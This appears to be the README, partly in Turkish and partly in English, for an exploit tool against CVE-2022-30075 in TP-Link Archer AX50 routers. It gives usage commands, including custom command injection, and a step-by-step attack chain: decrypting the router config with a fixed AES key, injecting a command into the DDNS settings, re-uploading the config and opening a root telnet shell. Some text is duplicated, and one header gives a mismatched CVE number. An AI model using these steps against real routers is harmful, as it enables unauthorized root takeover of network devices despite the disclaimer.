
TP-Link Router Authenticated RCE Exploit (CVE-2022-30075) Bu araç, TP-Link Archer AX50 ve bazı diğer TP-Link router modellerinde bulunan **CVE-2022-30075** güvenlik açığını kullanarak kimliği doğrulanmış uzaktan komut çalıştırma (Authenticated Remote Code Execution) işlemi gerçekleştirir.
TP-Link Router Authenticated RCE Exploit (CVE-2022-30074) This tool performs authenticated remote code execution using the CVE-2022-30075 vulnerability found in TP-Link Archer AX50 and some other TP-Link router models.
This tool performs authenticated remote code execution using the CVE-2022-30075 vulnerability found in TP-Link Archer AX50 and some other TP-Link router models.
USING THIS TOOL ON UNAUTHORIZED SYSTEMS IS A CRIME
- Only use on devices you own or have permission to test
- Unauthorized use is illegal and carries legal consequences
- Ensure compliance with local laws before using this tool
- The developers are not responsible for any damages resulting from misuse of this tool
pip install requests pycryptodome
Basic usage
python exploit.py -t 192.168.0.1 -p router_password
Usage with custom command.
python exploit.py -t 192.168.0.1 -p router_password -c "touch /tmp/exploit"
Backup and decrypt only
python exploit.py -t 192.168.0.1 -p router_password -b
Restore encrypted directory only
python exploit.py -t 192.168.0.1 -p router_password -r /path/to/decrypted_directory
-t | Router IP address (required)
-p | Router admin password (required)
-c | Command to execute (default: telnetd)
-b | Backup and decrypt only
-r | Restore encrypted directory only
Authentication - Login to the router with admin password
Configuration Download - Retrieve encrypted configuration file from router
Decryption - Decrypt configuration using a fixed AES key
Command Injection - Add target command to DDNS settings
Encryption - Re-encrypt the modified configuration
Restore - Upload the fake configuration to the router
Access - After router reboots, connect to root shell via telnet
A few minutes after the router reboots:
telnet 192.168.0.1
you can access the root shell with that command.